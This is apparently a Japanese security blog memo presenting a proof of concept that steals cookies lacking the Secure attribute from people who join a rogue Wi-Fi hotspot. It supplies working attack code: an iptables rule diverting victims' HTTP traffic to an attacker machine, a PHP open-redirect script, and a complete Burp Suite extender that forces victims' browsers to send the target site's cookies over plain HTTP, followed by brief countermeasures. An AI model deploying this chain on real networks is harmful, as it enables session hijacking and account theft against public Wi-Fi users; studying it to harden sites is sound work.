CookieにSecure属性が付与されないサイトに対し、
被害者が偽アクセスポイントに接続することでMITMが成立すれば
任意のサイトへのHTTPリクエスト(GET)が送信される際に対象サイトのCookieを取得できる
というPoCを作ったので、覚え書きします。
フリーWi-Fiを使ったら秘密情報を抜かれる経路にはどのようなものがあるか
における、「CookieのSecure属性欠落」の項目に該当します。
概要
- 偽アクセスポイント: TCP80番(HTTP)を偽サーバーへ転送する。
- 偽サーバー: 任意のHTTPリクエスト(GET)に対し、対象サイトへリダイレクトするレスポンスを返す。
- 偽サーバー: 対象サイトへのリクエストに対し、元のサイトへリダイレクトするレスポンスを返す。(ここでCookie取得)
- 偽サーバー: 元のサイトへのリクエストに対し、透過する。(偽装用)
構成
被害者PC---偽アクセスポイント---インターネット
|
(80番ポート)|
|
偽サーバー---インターネット
用意するもの
- PC_A1:
偽アクセスポイント ホットスポット・ルーティング - PC_A2:
偽サーバー HTTP通信内容の確認・改竄 - PC_V1:
被害者
準備
PC_A1
アクセスポイントを用意する。簡易のためUbuntu のWi-Fi Hotspot を使用。
TCP80番(HTTP)を偽サーバーへ転送する。
ルーティング設定例
sudo iptables -t nat -i wlp4s0 -A PREROUTING -p tcp -s 10.42.0.0/24 --dport 80 -j DNAT --to-destination 192.168.1.14
192.168.1.14 は、PC_A2のip
PC_A2
改竄を行いレスポンスを返すため用意したもの。
-
レスポンス用のローカルサーバー
パラメータに指定したURLにリダイレクトするレスポンスを返す
-
Burp Extender
- 任意のHTTPリクエスト(GET)に対し、ローカルサーバーからレスポンスを返す。(対象サイトへリダイレクト)
- 対象サイトへのリクエストに対し、ローカルサーバーからレスポンスを返す。(元のサイトへリダイレクト)
- 1の条件を満たしたURLが2度目来たら透過する。(何もしない)
BurpSuite にてPort 80 のInvisible Proxy でListen。
実証
対象サイト: www.example.com
- 偽アクセスポイントに接続する
- 対象サイトにてCookie をセットする
- HTTPリクエストが飛ぶまでブラウジングする
- HTTP history にてリクエストを確認する
対策
- Secure属性の付与
- HSTSの設定(緩和策)
感想
作った後にhtmlのレスポンスボディにimgタグを追加するという方法もあるのを読んだ。
作るの楽だしそれでよかったなぁ。
こちらの方が対応範囲が広い点はいいかもしれない。
HTTP通信を求めて適当にブラウジングしたとき、予想より見つからなくてよいなと思った。
(画像ではexample.com->www.example.comのものにしたけれど)
コード
nonSecurePoC.php
<?php
$url="http://localhost/";
if(isset($_GET["url"])){
$url=$_GET["url"];
}
$url=htmlspecialchars($url,ENT_QUOTES);
header("Location: ".$url);
header('Cache-Control: no-store');
// exit();
?><HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"><TITLE>302 Moved</TITLE></HEAD><BODY><H1>302 Moved</H1>The document has moved <A HREF="<?php echo($url);?>">here</A>.</BODY></HTML>
nonSecurePoCExtender.py
# coding: utf-8
from burp import IBurpExtender
from burp import IHttpListener
from java.io import PrintWriter
from java.net import URL
Mock_Protocol = "http"
Mock_Host = "localhost"
Mock_Port = 8880
Mock_Path = "nonSecurePoC.php"
Mock_Url=Mock_Protocol+"://"+Mock_Host+":"+str(Mock_Port)+"/"+Mock_Path
TARGET_Protocol = "http"
TARGET_Host = "www.example.com"
TARGET_Port = 80
TARGET_Path = ""
TARGET_Url=TARGET_Protocol+"://"+TARGET_Host+":"+str(TARGET_Port)+"/"+TARGET_Path
class BurpExtender(IBurpExtender, IHttpListener):
def __init__(self):
self.accessUrls=[]
#
# implement IBurpExtender
#
def registerExtenderCallbacks(self, callbacks):
# obtain an extension helpers object
self.helpers = callbacks.getHelpers()
self.stdout = PrintWriter(callbacks.getStdout(), True)
# set our extension name
callbacks.setExtensionName("nonSecurePoC")
# register ourselves as an HTTP listener
callbacks.registerHttpListener(self)
#
# implement IHttpListener
#
def processHttpMessage(self, toolFlag, messageIsRequest, messageInfo):
httpService = messageInfo.getHttpService()
if ("http" == httpService.getProtocol()):
if messageIsRequest:
requestInfo = self.helpers.analyzeRequest(httpService, messageInfo.getRequest())
method = requestInfo.getMethod()
url = requestInfo.getUrl().toString()
params = requestInfo.getParameters()
self.stdout.println(url)
# HTTPのGETリクエストに対し処理
if ("http" == httpService.getProtocol() and "GET"==method):
# 対象サイトへのリクエストの場合
if (TARGET_Host == httpService.getHost()):
flg=False
# 2. 1.によるリダイレクトで発生したものの場合(パラメータurlがある場合とした)
for param in params:
if "url"==param.getName():
url=param.getValue()
flg=True
if flg:
messageInfo.setHttpService(self.helpers.buildHttpService(Mock_Host,Mock_Port,Mock_Protocol))
messageInfo.setRequest(self.helpers.buildHttpRequest(URL(Mock_Url+"?url="+url)))
# 他サイトへのリクエストの場合
else:
# 3. リダイレクト済みの場合
if url in self.accessUrls:
self.accessUrls.remove(url)
# 1. 新規リクエストの場合
else:
self.accessUrls.append(url)
url2=TARGET_Url+"?url="+self.helpers.urlEncode(url)
messageInfo.setHttpService(self.helpers.buildHttpService(Mock_Host,Mock_Port,Mock_Protocol))
messageInfo.setRequest(self.helpers.buildHttpRequest(URL(Mock_Url+"?url="+self.helpers.urlEncode(url2))))
self.stdout.println(self.accessUrls)
return
return